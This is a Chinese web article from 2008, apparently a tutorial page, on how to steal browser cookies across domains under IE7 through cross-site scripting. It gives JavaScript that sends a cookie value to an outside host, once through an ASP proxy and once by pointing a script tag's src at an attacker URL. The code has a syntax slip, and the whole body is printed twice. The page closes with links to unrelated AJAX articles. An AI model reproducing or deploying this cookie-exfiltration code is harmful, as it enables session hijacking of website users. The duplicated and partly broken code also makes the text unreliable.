ie7下利用ajax跨域盜取cookie的解決辦法
更新時(shí)間:2008年07月09日 22:57:15 作者:
網(wǎng)上的很多文章提到的利用ajax盜取cookie的代碼經(jīng)我測(cè)試不可行。
研究了一下午,第一個(gè)難題是ajax跨域提交數(shù)據(jù),可以用web代理來(lái)解決,http://192.168.8.108上的a.htm代碼:
<script>
function getXmlHttpRequest(){
if(window.ActiveXObject){
var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for(var i=0;i<ieArr.length;i++)
{
var xmlhttp= new ActiveXObject(ieArr[i]);
}
return xmlhttp;
} else if(window.XMLHttpRequest){
return new XMLHttpRequest();
}
}
var xmlHttp=getXmlHttpRequest();
xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true);
xmlHttp.send(null)
</script>
其中web.asp是一個(gè)asp代理。
這樣直接訪問(wèn)http://192.168.8.108/a.htm是可以成功發(fā)送數(shù)據(jù)的。但是在跨站中,假如我們要跨192.168.8.108的站,這樣來(lái)講肯定不能讓我們放一個(gè)web.asp在上邊的,所以這種辦法不可行。
另外,其它的ie7.0下跨站想盜取cookie一般都會(huì)用到iframe標(biāo)簽,在沒(méi)有研究成功ajax發(fā)送的情況下,經(jīng)過(guò)搜索發(fā)現(xiàn)了另一種跨站的思路,不需要用iframe來(lái)跨域提交,代碼:
<script LANGUAGE="Javascript" src="" id="get">
</script>
<script LANGUAGE="Javascript">
<!--
function get(url)
{
var obj = document.getElementById("get");
obj.src = url;
(obj.readStatus == 200)
{
eval(alert("ok"));
}
}
get("http://jb51.net/2.asp?cookie=12345678")
/*function query()
{
get("http://jb51.net/web/1.img"); //在這里可以寫代碼,像把a(bǔ)lert("ok")里的ok換成變量,1.img 中的代碼是var ok="123"
}
//-->
*/
</script>
至于有其它更好的辦法,在IE7下能直接ajax跨域盜取cookie的歡迎討論
<script>
function getXmlHttpRequest(){
if(window.ActiveXObject){
var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for(var i=0;i<ieArr.length;i++)
{
var xmlhttp= new ActiveXObject(ieArr[i]);
}
return xmlhttp;
} else if(window.XMLHttpRequest){
return new XMLHttpRequest();
}
}
var xmlHttp=getXmlHttpRequest();
xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true);
xmlHttp.send(null)
</script>
其中web.asp是一個(gè)asp代理。
這樣直接訪問(wèn)http://192.168.8.108/a.htm是可以成功發(fā)送數(shù)據(jù)的。但是在跨站中,假如我們要跨192.168.8.108的站,這樣來(lái)講肯定不能讓我們放一個(gè)web.asp在上邊的,所以這種辦法不可行。
另外,其它的ie7.0下跨站想盜取cookie一般都會(huì)用到iframe標(biāo)簽,在沒(méi)有研究成功ajax發(fā)送的情況下,經(jīng)過(guò)搜索發(fā)現(xiàn)了另一種跨站的思路,不需要用iframe來(lái)跨域提交,代碼:
<script LANGUAGE="Javascript" src="" id="get">
</script>
<script LANGUAGE="Javascript">
<!--
function get(url)
{
var obj = document.getElementById("get");
obj.src = url;
(obj.readStatus == 200)
{
eval(alert("ok"));
}
}
get("http://jb51.net/2.asp?cookie=12345678")
/*function query()
{
get("http://jb51.net/web/1.img"); //在這里可以寫代碼,像把a(bǔ)lert("ok")里的ok換成變量,1.img 中的代碼是var ok="123"
}
//-->
*/
</script>
至于有其它更好的辦法,在IE7下能直接ajax跨域盜取cookie的歡迎討論
相關(guān)文章
ajax 開(kāi)發(fā)守則 10條說(shuō)明
介紹ajax開(kāi)發(fā)十大守則,相信對(duì)開(kāi)發(fā)人員會(huì)有用的。2009-07-07
jquery與php結(jié)合實(shí)現(xiàn)AJAX長(zhǎng)輪詢(LongPoll)
傳統(tǒng)的AJAX輪詢方式,客服端以用戶定義的時(shí)間間隔去服務(wù)器上查詢最新的數(shù)據(jù)。種這種拉取數(shù)據(jù)的方式需要很短的時(shí)間間隔才能保證數(shù)據(jù)的精確度,但太短的時(shí)間間隔客服端會(huì)對(duì)服務(wù)器在短時(shí)間內(nèi)發(fā)送出多個(gè)請(qǐng)求。2015-10-10
淺談Ajax技術(shù)實(shí)現(xiàn)頁(yè)面無(wú)刷新
AJAX即“Asynchronous Javascript And XML”(異步JavaScript和XML),是指一種創(chuàng)建交互式網(wǎng)頁(yè)應(yīng)用的網(wǎng)頁(yè)開(kāi)發(fā)技術(shù)。這篇文章主要介紹了Ajax技術(shù)實(shí)現(xiàn)頁(yè)面無(wú)刷新的相關(guān)資料,需要的朋友可以參考下2016-03-03
Ajax異步方式實(shí)現(xiàn)登錄與驗(yàn)證
這篇文章主要介紹了Ajax異步方式實(shí)現(xiàn)登錄與驗(yàn)證,感興趣的小伙伴們可以參考一下2015-12-12
如何通過(guò)axios發(fā)起Ajax請(qǐng)求(最新推薦)
Axios是專注于網(wǎng)絡(luò)數(shù)據(jù)請(qǐng)求的庫(kù),相比于原生的XMLHttpRequest對(duì)象,axios簡(jiǎn)單易用。相比于Jquery,axios更加輕量化,只專注于網(wǎng)絡(luò)數(shù)據(jù)請(qǐng)求,這篇文章主要介紹了如何通過(guò)axios發(fā)起Ajax請(qǐng)求,需要的朋友可以參考下2022-11-11

